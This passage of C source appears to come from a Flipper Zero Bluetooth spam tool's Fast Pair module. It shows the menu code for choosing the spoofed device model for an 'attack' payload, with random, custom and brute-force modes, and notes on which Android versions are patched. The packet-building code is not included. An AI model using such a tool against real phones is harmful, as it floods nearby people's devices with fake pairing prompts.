  592. static void config_callback(void* _ctx, uint32_t index) {
  593. Ctx* ctx = _ctx;
  594. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  595. switch(index) {
  596. case ConfigModel:
  597. scene_manager_next_scene(ctx->scene_manager, SceneFastpairModel);
  598. break;
  599. case ConfigInfoRequire:
  600. break;
  601. case ConfigInfoPatched:
  602. break;
  603. default:
  604. ctx->fallback_config_enter(ctx, index);
  605. break;
  606. }
  607. }
  608. static void model_changed(VariableItem* item) {
  609. Payload* payload = variable_item_get_context(item);
  610. FastpairCfg* cfg = &payload->cfg.fastpair;
  611. uint16_t index = variable_item_get_current_value_index(item);
  612. switch(index) {
  613. case 0:
  614. cfg->_model_index--;
  615. break;
  616. case 1:
  617. if(cfg->_model_index == 0) {
  618. cfg->_model_index++;
  619. } else {
  620. cfg->_model_index--;
  621. }
  622. break;
  623. case 2:
  624. if(cfg->_model_index > models_count) {
  625. cfg->_model_index--;
  626. } else {
  627. cfg->_model_index++;
  628. }
  629. break;
  630. }
  631. index = cfg->_model_index;
  632. if(index) {
  633. index--;
  634. payload->mode = PayloadModeValue;
  635. cfg->model = models[index].value;
  636. variable_item_set_current_value_index(item, index == (models_count - 1) ? 2 : 1);
  637. variable_item_set_current_value_text(item, models[index].name);
  638. } else {
  639. payload->mode = PayloadModeRandom;
  640. variable_item_set_current_value_index(item, 0);
  641. variable_item_set_current_value_text(item, "Random");
  642. }
  643. }
  644. static void extra_config(Ctx* ctx) {
  645. Payload* payload = &ctx->attack->payload;
  646. FastpairCfg* cfg = &payload->cfg.fastpair;
  647. VariableItemList* list = ctx->variable_item_list;
  648. VariableItem* item;
  649. uint8_t value_index;
  650. uint16_t model_index;
  651. item = variable_item_list_add(list, "Model Code", 3, model_changed, payload);
  652. const char* model_name = NULL;
  653. char model_name_buf[9];
  654. switch(payload->mode) {
  655. case PayloadModeRandom:
  656. default:
  657. model_name = "Random";
  658. value_index = 0;
  659. model_index = 0;
  660. break;
  661. case PayloadModeValue:
  662. for(uint16_t i = 0; i < models_count; i++) {
  663. if(cfg->model == models[i].value) {
  664. model_name = models[i].name;
  665. value_index = i == (models_count - 1) ? 2 : 1;
  666. model_index = i + 1;
  667. break;
  668. }
  669. }
  670. if(!model_name) {
  671. snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model);
  672. model_name = model_name_buf;
  673. value_index = 3;
  674. model_index = models_count + 1;
  675. }
  676. break;
  677. case PayloadModeBruteforce:
  678. model_name = "Bruteforce";
  679. value_index = 3;
  680. model_index = models_count + 1;
  681. break;
  682. }
  683. cfg->_model_index = model_index;
  684. variable_item_set_current_value_index(item, value_index);
  685. variable_item_set_current_value_text(item, model_name);
  686. variable_item_list_add(list, "Requires Google services", 0, NULL, NULL);
  687. variable_item_list_add(list, "Patched on new Android", 0, NULL, NULL);
  688. variable_item_list_set_enter_callback(list, config_callback, ctx);
  689. }
  690. static uint8_t config_count(const Payload* payload) {
  691. UNUSED(payload);
  692. return ConfigCOUNT - ConfigExtraStart - 1;
  693. }
  694. const Protocol protocol_fastpair = {
  695. .icon = &I_android,
  696. .get_name = get_name,
  697. .make_packet = make_packet,
  698. .extra_config = extra_config,
  699. .config_count = config_count,
  700. };
  701. static void model_callback(void* _ctx, uint32_t index) {
  702. Ctx* ctx = _ctx;
  703. Payload* payload = &ctx->attack->payload;
  704. FastpairCfg* cfg = &payload->cfg.fastpair;
  705. switch(index) {
  706. case 0:
  707. payload->mode = PayloadModeRandom;
  708. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  709. break;
  710. case models_count + 1:
  711. scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelCustom);
  712. break;
  713. case models_count + 2:
  714. payload->mode = PayloadModeBruteforce;
  715. payload->bruteforce.counter = 0;
  716. payload->bruteforce.value = cfg->model;
  717. payload->bruteforce.size = 3;
  718. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  719. break;
  720. default:
  721. payload->mode = PayloadModeValue;
  722. cfg->model = models[index - 1].value;
  723. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  724. break;
  725. }
  726. }
  727. void scene_fastpair_model_on_enter(void* _ctx) {
  728. Ctx* ctx = _ctx;
  729. Payload* payload = &ctx->attack->payload;
  730. FastpairCfg* cfg = &payload->cfg.fastpair;
  731. Submenu* submenu = ctx->submenu;
  732. uint32_t selected = 0;
  733. submenu_add_item(submenu, "Random", 0, model_callback, ctx);
  734. if(payload->mode == PayloadModeRandom) {
  735. selected = 0;
  736. }
  737. bool found = false;
  738. for(uint16_t i = 0; i < models_count; i++) {
  739. submenu_add_item(submenu, models[i].name, i + 1, model_callback, ctx);
  740. if(!found && payload->mode == PayloadModeValue && cfg->model == models[i].value) {
  741. found = true;
  742. selected = i + 1;
  743. }
  744. }
  745. submenu_add_item(submenu, "Custom", models_count + 1, model_callback, ctx);
  746. if(!found && payload->mode == PayloadModeValue) {
  747. selected = models_count + 1;
  748. }
  749. submenu_add_item(submenu, "Bruteforce", models_count + 2, model_callback, ctx);
  750. if(payload->mode == PayloadModeBruteforce) {
  751. selected = models_count + 2;
  752. }
  753. submenu_set_selected_item(submenu, selected);
  754. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  755. }
  756. bool scene_fastpair_model_on_event(void* _ctx, SceneManagerEvent event) {
  757. Ctx* ctx = _ctx;
  758. if(event.type == SceneManagerEventTypeCustom) {
  759. scene_manager_previous_scene(ctx->scene_manager);
  760. return true;
  761. }
  762. return false;
  763. }
  764. void scene_fastpair_model_on_exit(void* _ctx) {
  765. Ctx* ctx = _ctx;
  766. submenu_reset(ctx->submenu);
  767. }
  768. static void model_custom_callback(void* _ctx) {
  769. Ctx* ctx = _ctx;
  770. Payload* payload = &ctx->attack->payload;
  771. FastpairCfg* cfg = &payload->cfg.fastpair;
  772. payload->mode = PayloadModeValue;
  773. cfg->model =
  774. (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
  775. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  776. }
  777. void scene_fastpair_model_custom_on_enter(void* _ctx) {
  778. Ctx* ctx = _ctx;
  779. Payload* payload = &ctx->attack->payload;
  780. FastpairCfg* cfg = &payload->cfg.fastpair;
  781. ByteInput* byte_input = ctx->byte_input;
  782. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  783. ctx->byte_store[0] = (cfg->model >> 0x10) & 0xFF;
  784. ctx->byte_store[1] = (cfg->model >> 0x08) & 0xFF;
  785. ctx->byte_store[2] = (cfg->model >> 0x00) & 0xFF;
  786. byte_input_set_result_callback(
  787. byte_input, model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
  788. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  789. }
  790. bool scene_fastpair_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  791. Ctx* ctx = _ctx;
  792. if(event.type == SceneManagerEventTypeCustom) {
  793. scene_manager_previous_scene(ctx->scene_manager);
  794. scene_manager_previous_scene(ctx->scene_manager);
  795. return true;
  796. }
  797. return false;
  798. }
  799. void scene_fastpair_model_custom_on_exit(void* _ctx) {
  800. UNUSED(_ctx);
  801. }